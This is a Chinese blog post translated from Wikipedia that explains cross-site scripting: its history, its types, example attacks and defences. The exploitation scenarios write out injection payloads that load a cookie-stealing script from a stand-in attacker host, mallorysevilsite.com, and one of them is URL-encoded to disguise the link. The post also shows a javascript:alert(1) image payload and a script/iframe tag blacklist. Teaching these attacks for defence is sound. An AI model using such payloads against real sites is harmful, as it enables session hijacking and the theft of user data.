前端必备HTTP技能之跨站脚本攻击(XSS)技术详解

跨站脚本(XSS)是web应用中的一种典型的计算机安全漏洞。XSS允许攻击者可以在其他用户浏览的web页面中注入客户端脚本。一个跨站脚本漏洞可能会被攻击者用来绕开访问限制,例如同源策略。Symantec在2007年发布的报告中跨站脚本漏洞大概占所有网站漏洞的84%。跨站脚本的影响从一个小麻烦到一个重要的安全风险,主要看有这种漏洞的网站中数据的敏感性以及站点所有者所做的安全应对策略。

背景


web安全依赖多种不同的机制,包括一个被信任的基本概念,即同源策略。实质上就是一个站点(https://mybank.example1.com)上的内容被授予访问系统上资源的权限,这个站点的其他内容也贡献这些授权,然而其他站点(https://othersite.example2.com)上的内容将会被单独授予权限。

跨站脚本攻击是基于web应用中已知的漏洞,服务端,或者依赖的插件系统。利用其中一种方式,攻击者可以把恶意内容放进目标站点传输的内容中。当这种结合的内容到达客户端的浏览器中,它就已经变成从受信任的来源传输的,然后在系统授权下进行操作。通过寻找把恶意脚本注入web页面的方法,攻击者可以获取对敏感页面的访问权限,例如对session cookie和浏览器代表用户维护的其他信息。跨站脚本攻击是代码注入的一种方式。

微软安全工程师在2000年一月份提出“跨站脚本”的术语。“跨站脚本”刚开始要表达的意思是来自不相关攻击地点的第三方站点,通过执行攻击者在目标域的安全上下文中准备的js代码片段来加载攻击的行为(利用一个反射型或者非持久性的XSS漏洞)。这种概念逐渐扩展到包含其它的代码注入模式,包括持久性非js载体(包括ActiveX,Java,VBScript,Flash,甚至HTMl脚本),给安全信息领域的新人带来一些困惑。

XSS漏洞从1990年就开始被报道和利用。过去受影响的知名站点包括社交站点Twitter,Facebook,Myspace,YouTube和Orkut(包括2011年微博遇到的XSS攻击)。跨站脚本缺陷已经超过缓冲区溢出缺陷成为报告中最常见的安全漏洞,一些研究者估算在2007年大概68%的站点可能会被XSS攻击。

类型


对跨站脚本缺陷没有一个标准的分类,但是大部分专家会区分至少两种XSS缺陷类型:非持久型和持久型。一些来源进一步的把这些划分成两组,传统的(服务端代码缺陷导致的)和基于DOM的(客户端代码导致的)。

反射型(非持久型)

到目前为止,非持久型(反射型)跨站脚本漏洞是最基本的web漏洞。当web客户端提供数据时,就会出现这种漏洞,常见于HTTP查询参数(例如,HTML表单提交),服务端脚本在没有正确过滤请求时,就立即解析并展示页面结果给用户。

因为html文档是流式结构并且混合了控制状态,格式化,真实内容,结果页面中包含的任何未经验证的用户提交数据,如果没有正确的进行html编码,都有可能导致标签注入。一个典型例子是一个网站搜索引擎:如果搜索了一个字符串,这个搜索字符串通常会在搜索页再显示一次,告诉用户搜索了什么。如果响应没有正确忽略或者拒绝html控制字符串,跨站脚本风险随之而来。

一次反射型攻击通常通过邮件或者中立的站点来实施。诱饵通常是一个看起来安全的url,指向一个受信任的站点,但是包含XSS载体。如果受信任的站点容易受到载体影响,点击这个链接可能会导致受害者的浏览器执行注入脚本。

持久型

持久型(又称存储型)XSS漏洞是一种更有破坏性的跨站脚本缺陷的变种:当攻击者提供的数据保存到了服务端,然后永久的显示在“正常”页面,并且其他用户在浏览器是可以看到,如果这些数据没有经过正确的html编码,就会发生这种攻击。一个典型的例子就是在线留言板,允许用户发布html格式的信息,可以让其他用户看到。

例如,假设有一个数据站点,其中的会员浏览了其他会员的信息,看下是否感兴趣。由于隐私的原因,这个站点会隐藏每个用户的真实姓名和email,这些信息加密保存在服务端,只有当会员登录后才能在浏览器中看到自己真实的姓名和email,但是不能查看其他人的。

假设有一个攻击者,加入了这个站点,并且想要估算出他在站点上看到的用户的真实姓名。要做到这一点,他写了一段脚本,目的是当其他用户看他的个人信息时可以在其他人的浏览器上运行。然后这段脚本发送信息到他自己的服务器,然后就可以搜集这些信息。

为了这么做,对于“描述你的第一次约会”这样问题,攻击者给了一个简短答案(看起来很正常),但是在攻击者答案的最后是一段窃取姓名和email的脚本,如果脚本内嵌在<script>标签中,它就不会在屏幕上显示。然后假设这个站点上的另一个用户看到了攻击者的个人信息,并且查看了攻击者对“描述你的第一次约会”问题的回答,然后攻击者的脚本就会通过浏览器自动的运行,并且从用户自己的机器上窃取了他的真实姓名和email。

持久性XSS漏洞比其他类型都要重要,因为攻击者的恶意脚本可以自动渲染,不需要单独定位受害者或者诱使受害者到第三方网站。特别在一些社交网站上,这些代码可以进一步的通过账号体系被设计成自蔓延型,创造一种客户端蠕虫病毒。

注入方法可以变化很大;在一些场景中,攻击者甚至都不需要与web有功能性的交互。web应用接收的(通过邮件,系统日志,IM等)任意可以被攻击者控制的数据都有可能变成注入载体。

服务端与基于DOM的漏洞

以往第一次发现的XSS漏洞发生在所有数据处理都在服务端完成的应用中。用户输入(包含一个XSS载体)将会被发送到服务端,然后作为一个web页面返回给用户。为了提高用户体验,主流的web应用有大部分的展示逻辑是在客户端运行的,通过AJAX的方式从服务端拉取或者请求数据。

js代码也可以处理用户输入,然后渲染到页面内容中,一种新的反射型XSS攻击的子类型开始出现,被称为基于DOM的跨站脚本攻击。在基于DOM的跨站脚本攻击中,恶意数据不用和服务端交互。相反,它会被js代码完全反射在客户端侧执行。

基于DOM的XSS漏洞的例子是2011年在JQuery插件中发现的一个bug。阻止这种攻击的策略和对待传统XSS攻击的策略类似,只不过是在js代码中实施。一些js框架内建了防止XSS攻击的处理策略,例如Angular.js。

Self-XSS

Self-XSS是XSS漏洞的一种形式,依赖社会工程学来诱导受害者在他们的浏览器中执行恶意js代码。尽管在技术上它不是一个真正的XSS漏洞,因为它是利用社会工程学让用户执行代码而不是利用站点缺陷来这么做,但是如果执行得当,它也会有常规XSS漏洞一样的风险。

突变XSS(mXSS)

当攻击者注入了一些看起来安全的内容的,但是浏览器在解析标签时重写修改了这些内容,就有可能发生突变XSS攻击。很难在站点应用的逻辑中侦测或者清除它。一个例子就是重新调整未闭合的引号或者为CSS的字体参数添加引号参数。

开发示例


攻击者想要利用跨站脚本漏洞,必须以不同的方式对待每种漏洞。对于每一种类型的漏洞,下面都会描述一种特定的攻击载体。下面用到的姓名是专业术语,取自计算机安全领域常用的Alice和Bob。浏览器开发框架可以被用来攻击web站点和用户的本地环境。

非持久型
  1. Alice经常访问一个特殊站点,这个站点是Bob托管的。Bob的站点允许Alice以用户名/密码的方式登录,也存储一些敏感信息,例如账单信息。当用户登录时,浏览器保存了一个授权cookie,授权cookie看起来就像无效的字符串,所以客户端,服务端都记得她登录过。

  2. Mallory观察发现Bob的站点包含一个反射型XSS漏洞:

    1. 当她访问搜索页面时,她在输入框中输入一个搜索术语然后点击了提交按钮。如果没有找到搜索结果,页面将会展示她搜索的术语然后加上“not found”关键词,此时的url也变成了http://bobssite.org?q=搜索的术语
    2. 一个正常的搜索查询,像"puppies"这个词,页面简单的显示“puppies not found”,url变成了"http://bobssite.org?q=puppies",这是一个正常行为。
    3. 但是,当她提交了一个异常查询条件,像"<script type='text/javascript'>alert('xss');</script>",
      1.出现一个alert弹窗(提示"xss")。
      2.页面显示"没有找到<script type='text/javascript'>alert('xss');</script>",然后一个错误的消息提示'xss'。
      3.url变成了"http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script>"——这是可以利用的行为。
  3. Mallory伪造了一个URL来利用这种漏洞:

    1. 她创建了一个URLhttp://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>。她可以选择把ASCII字符串转成十六进制格式,例如:http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E,所以当被人看到时无法立马识别这个恶意URL。
    2. 她给Bob站点的一些信任用户发送一封邮件,告诉他们"查收可爱的狗狗!"
  4. Alic收到了这封邮件,她喜欢狗狗,然后点击了这个链接。然后跳转到Bob站点的搜索页,没有找到任何东西,只是显示了"没有找到狗狗",然后脚本标签执行了,载入了Mallory的脚本authstealer.js(触发了XSS攻击).Alice忘记了这个。

  5. authstealer.js脚本在Alice的浏览器中执行了,就好像它是从Bob的站点加载的。它抓取了Alice的授权Cookie,然后把它发送到Mallory的服务器,然后Mallory获取到它。

  6. Mallory现在把Alice的授权Cookie放进她自己的浏览器,就好像它是自己的一样。然后她打开Bob的站点,以Alice的身份登录了。

  7. 登录之后,Mallory进入账单模块,找到Alice的信用卡号码,然后拷贝了一。然后她更改了密码,这样Alice就不能再登录了。

  8. 她决定更进一步,发送一个相似的链接给Bob自己,为了获取管理员权限。

可以通过以下几件事情来降低这种攻击风险:

  1. 搜索框有正确的编码检查。

  2. 服务端设置成重定向无效请求。

  3. 服务端可以检测到同时登陆,然后失效session。

  4. 服务端检测来自不同IP地址的同时登陆,然后失效session。

  5. 站点可以只显示用户使用的信用卡后几位数字。

  6. 在更改注册信息时,站点要求用户再次输入密码。

  7. 站点可以制定不同方面的内容安全策略。

  8. 教育用户不要点击看起来良好,但实际恶意的链接。

  9. cookie设置成HttpOnly,阻止js获取。

持久型攻击
  1. Mallory获取了Bob站点上的一个账号。

  2. Mallory观察发现Bob的站点包含一个存储型XSS漏洞。如果去新闻版块,然后发表一条评论,无论他在评论区输入什么都会被显示出来。但是如果评论文本包含HTML标签,标签将会按照原本要显示的方式显示出来的话,任意的script标签都可以运行。

  3. Mallory在新闻版本读了一条新闻,然后再评论区增加了一条评论。在评论内容中,她插入了这样的文本:I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">

  4. 当Alice或者其他人加载了带这条评论的页面,Mallory的脚本开始执行,然后窃取了Alice的授权cookie,然后发送给Mallory的服务端。

  5. 现在Mallory可以劫持了Alice的Session,并且可以冒充Alice。

Bob的站点应该可以剥离这些脚本标签或者做某些处理不让脚本标签生效,但是实际上他并没有处理这个安全漏洞。

预防手段


上下文输出编码/转码字符串输入

上下文输出编码/转码可以被用来作为基本的防御机制来阻止XSS攻击。有几转码机制可以使用,依赖不受信任的字符串需要放在HTML文档里面的那个位置,包括html实体编码,js转码,css转码,URL编码。大部分不需要接受富文本的web应用可以以一种直接的方式使用转码消除大部分的XSS攻击。

尽管广泛推荐,HTML实体编码只有五种有意义的字符,不足够阻止形式多样的XSS攻击。由于编码并不简单,所以安全编码库通常更容易使用。

安全验证不可信的HTML输入

有些特殊的web应用允许用户使用某些HTML标签。接受用户的HTML输入(例如<b>very</b> large),输出编码( <b>very</b> large)就够了,因为用户输入需要浏览器解析成HTML渲染,所以会显示成“very large”,而不是“<b>very</b> large”。在接受用户HTML输入的时候阻止XSS攻击比这种情况要复杂的多。不受信任的HTML输入必须通过一个HTML过滤引擎来确保不含有XSS代码。

还需要注意许多验证依赖具体解析的html标签(黑名单),例如下面的


<script> <link> <iframe>

这种方式也有很多问题,例如有时看起来无害的标签正确使用可能被遗漏,但是仍然会产生XSS,看下面的例子


< img src="javascript:alert(1)">

另一种流行的方法是移除用户输入的"和',尽管这样也可能被遗漏,通过代码混淆的方式。

cookies安全

除了内容过滤,其他不完美的处理跨站脚本也经常被使用。一个例子就是当处理基于cookie的用户权限认证时,使用额外安全控制。许多web应用依赖session cookie在独立的HTTP请求中做授权验证,因为客户端脚本通常都有获取这些cookies的权限,所以简单的XSS漏洞就可以窃取这些cookies。为了降低这种风险(虽然不是普通的XSS问题),许多web应用会把session cookies和用户开始登陆时的ip地址绑定,这样就可以只允许特定ip使用cookie。这种方式在大多数情况下都有效(如果攻击者只获取cookie),但是如果攻击使用相同的IP地址或者web代理冒充受害者或者受害者改变他的Mobile IP,这种方式就不再适用了。

其他解决方案是IE6+,Firefox2.0+,Safari4+,Opera9.5+,Chrome浏览器支持web服务端设置cookie的HttpOnly属性,这样客户端脚本就无法获取cookie。尽管这样有用,但是也不能完全阻止cookie窃取,也不能阻止浏览器内的攻击。

禁用脚本

尽管在web2.0时代,Ajax开发需要使用js,有些web应用还是不依赖客户端js开发的。如果选用这种方式,可以选择再浏览器中禁用脚本。通过这种方式,尽管潜在的恶意客户端脚本会未经转义的嵌入到页面中,用户不会轻易受到XSS攻击。

一些浏览器或者浏览器插件可以设置成禁止每个域上的客户端脚本。如果默认允许脚本执行,这种方式的价值也是有限的,因为只有用户知道他访问的网站是恶意网站之后才会禁止这个站点的脚本执行,这样的话就有点晚了。默认禁止所有的脚本和外部依赖,然后允许用户对单个域设置开启可能更有效。IE4+通过设置"安全区域"来实现,Opera9+则使用"网站特定偏好"实现。Firefox和其他基于Gecko的浏览器的解决方法是开源的NoScript插件,可以增加在每个域上启动脚本的能力,甚至在启动脚本时,提供一些XSS保护。

默认禁止所有站点的脚本最大的问题可能会显著降低网站的功能和响应(客户端脚本比服务端脚本要快,因为它不需要连接远程服务器,页面或者frame不需要重新加载)。另一个问题就是许多用户不理解这个,不知道如何正确的保护他们的浏览器。还有另一个问题就是没有客户端脚本支持,需要网站无法正常工作。Firefox的NoScript插件允许用户设置允许页面中部分脚本执行,但是禁止其它脚本执行。例如,从example.com站点的脚本可以执行,但是advertisingagency.com站点的脚本不允许在相同页面执行。

新兴的防守技术

新兴的有三种XSS防御手段。包括内容安全策略,就是沙箱工具,自动转码模板。这些技术仍然在进化,但是可以期待的是可以大量减少XSS攻击的发生。

扫描服务


一些公司提供了一个周期性的扫描服务,本质上就是模拟了从服务端到客户端的攻击,为了验证攻击是否成功。如果攻击成功了,客户端可以收到如何执行的信息,然后就有机会修复这个问题在相同的攻击发生前。通过最新一次检查的站点可以增加一个信任勋章。扫描服务可能无法发现所有可能的漏洞,因此有信任勋章的站点仍然可能会受到新类型的攻击,但是检测服务还是可以发现一些问题的。一旦客户端修改了这些问题,那这些站点就比没使用扫描服务之前安全。对于需要完全避免XSS漏洞的站点,技术评估时,像人工代码评审是必要的环节。另外,如果js在页面上执行,勋章也可以被copy(所以,理论上,这种服务也无法完全避免XSS风险)。

相关漏洞


在普通跨站脚本(UXSS,或者Universal XSS)攻击中,浏览器自身的漏洞或者浏览器插件的漏洞都可以被利用(并不是站点中的漏洞,但是XSS攻击一样)。这种攻击通常是匿名的,伴随着DDos攻击,来折中控制网络。

有几类漏洞或者攻击技术和XSS有关:跨区域脚本在某些特定浏览器中利用“区域”概念,通常以更高的权限执行代码。HTTP头注入可以用来创造折中跨站脚本条件,因为HTTP协议层的转码问题(除非启动攻击之外,例如HTTP响应拆分攻击).

跨站请求伪造(CSRF/XSRF)和XSS几乎相反,它不是利用用户对网站的信任,攻击者(和他的恶意页面)利用网站对客户端软件的信任,提交一些请求,网站相信是授权用户有意识的行为。XSS漏洞(甚至在相同域下运行的其他应用)允许攻击者绕过CSRF预防。

隐蔽的重定向利用第三方客户端可能的XSS或者开放重定向攻击。正常的网络钓鱼可能很容易被发现。因为恶意页面URL和正常的网站地址将会有几个字母的区别。和隐蔽重定向不同的是攻击者可以利用真实的网站,通过侵入站点使用一个恶意的登录弹出对话框。

最后SQL注入利用的是数据库层面的漏洞。当用户输入没有正确过滤时,任何SQL语句都会被应用执行。

做好前端开发必须对HTTP的相关知识有所了解,所以我创建了一个专题前端必备HTTP技能专门收集前端相关的HTTP知识,欢迎关注,投稿。


PS:本文翻译自维基百科,原文地址https://en.wikipedia.org/wiki/Cross-site_scripting

推荐阅读更多精彩内容